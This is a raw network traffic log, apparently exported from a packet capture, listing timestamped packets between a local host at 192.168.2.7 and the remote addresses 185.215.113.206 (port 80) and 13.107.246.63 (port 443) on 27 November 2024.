Nov 27, 2024 17:58:25.409357071 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.409446001 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.410121918 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.410294056 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.410295963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.410357952 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.411155939 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.411246061 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.411252022 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.411298037 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.412065029 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.412136078 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.412151098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.412250042 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.413053989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.413104057 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.413106918 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.413145065 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.413980961 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.414047956 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.414062977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.414177895 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.434498072 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.434516907 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.434581041 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.434648991 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.434673071 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.434683084 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.434727907 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.435792923 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.435847998 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.435868979 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.435940981 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.436094999 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.436500072 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.436517954 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.436567068 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.436670065 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.436866045 CET	49710	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.436876059 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.437195063 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.437397003 CET	49710	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.437402964 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.437463999 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.437517881 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.437585115 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.437623024 CET	49712	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.437643051 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.437668085 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.438074112 CET	49712	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.438080072 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.438407898 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.438479900 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.438500881 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.438564062 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.439414024 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.439433098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.439496994 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.440407991 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.440494061 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.440510035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.440577984 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.441415071 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.441457987 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.441489935 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.441524029 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.442290068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.442353010 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.442380905 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.442476034 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.443347931 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.443428040 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.455228090 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.455975056 CET	49711	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.456006050 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.456474066 CET	49711	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.456479073 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.472692013 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.473201036 CET	49709	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.473217964 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.473680973 CET	49709	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.473685026 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.520071983 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.520096064 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.520221949 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.520498991 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.520569086 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.520654917 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.520721912 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.520746946 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.520809889 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.521774054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.521841049 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.521864891 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.521943092 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.522588015 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.522655964 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.522759914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.522831917 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.523566961 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.523686886 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.523693085 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.523751020 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.524534941 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.524590969 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.524596930 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.524661064 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.525490046 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.525561094 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.525677919 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.525727987 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.526463985 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.526518106 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.526520967 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.526565075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.527443886 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.527538061 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.527590990 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.527590990 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.528409958 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.528477907 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.528491020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.528554916 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.529375076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.529468060 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.529473066 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.529556036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.530329943 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.530406952 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.530421019 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.530464888 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.531279087 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.531335115 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.531337976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.531405926 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.532275915 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.532394886 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.532408953 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.532474995 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.533370972 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.533385038 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.533431053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.534193039 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.534298897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.534312963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.534369946 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.535183907 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.535264015 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.535294056 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.535336018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.536132097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.536184072 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.536192894 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.536251068 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.537108898 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.537159920 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.537269115 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.537308931 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.538083076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.538140059 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.538180113 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.538252115 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.539076090 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.539139986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.539190054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.539280891 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.540039062 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.540165901 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.540179014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.540225983 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.540977955 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.541063070 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.541095018 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.541165113 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.541913033 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.542004108 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.606664896 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.606781006 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.606869936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.606966019 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.607172012 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.607240915 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.607326031 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.607498884 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.608108997 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.608192921 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.608470917 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.608565092 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.608565092 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.608653069 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.609421968 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.609472036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.609555006 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.609699965 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.610411882 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.610471964 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.610546112 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.610790968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.611411095 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.611491919 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.611551046 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.611627102 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.612346888 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.612438917 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.612452984 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.612535000 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.613307953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.613394976 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.613420963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.613464117 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.614444971 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.614522934 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.614528894 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.614706993 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.615262032 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.615322113 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.615389109 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.615462065 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.616213083 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.616266012 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.616290092 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.616385937 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.617250919 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.617409945 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.617413998 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.617492914 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.618204117 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.618263960 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.618334055 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.618477106 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.619118929 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.619208097 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.619237900 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.619338036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.620131016 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.620202065 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.620244980 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.620321035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.621136904 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.621221066 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.621450901 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.621526003 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.622009039 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.622066021 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.622072935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.622174025 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.622997999 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.623055935 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.623101950 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.623178005 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.623960018 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.624027014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.624058962 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.624145985 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.624947071 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.625025988 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.625049114 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.625111103 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.644890070 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.644978046 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.645040989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.645126104 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.645350933 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.645401955 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.645466089 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.645536900 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.646312952 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.646400928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.646497965 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.646555901 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.647367954 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.647439003 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.647463083 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.647519112 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.648303986 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.648360014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.648511887 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.648581982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.649261951 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.649312019 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.649339914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.649425030 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.650177002 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.650240898 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.650273085 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.650311947 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.651225090 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.651288986 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.651297092 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.651340961 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.652198076 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.652259111 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.652287960 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.652348042 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.655438900 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.655452013 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.655541897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.655541897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.731209040 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.731292009 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.731396914 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.731430054 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.731524944 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.731580019 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.731595993 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.731697083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.732386112 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.732435942 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.732460022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.732487917 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.733320951 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.733398914 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.733472109 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.733534098 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.734308004 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.734357119 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.734375000 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.734430075 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.735209942 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.735275030 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.735287905 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.735332012 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.736160040 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.736217022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.736298084 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.736417055 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.737126112 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.737195969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.737205982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.737245083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.738102913 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.738171101 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.738209963 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.738209963 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.739132881 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.739201069 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.739254951 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.739329100 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.740168095 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.740186930 CET	80	49702	185.215.113.206	192.168.2.7
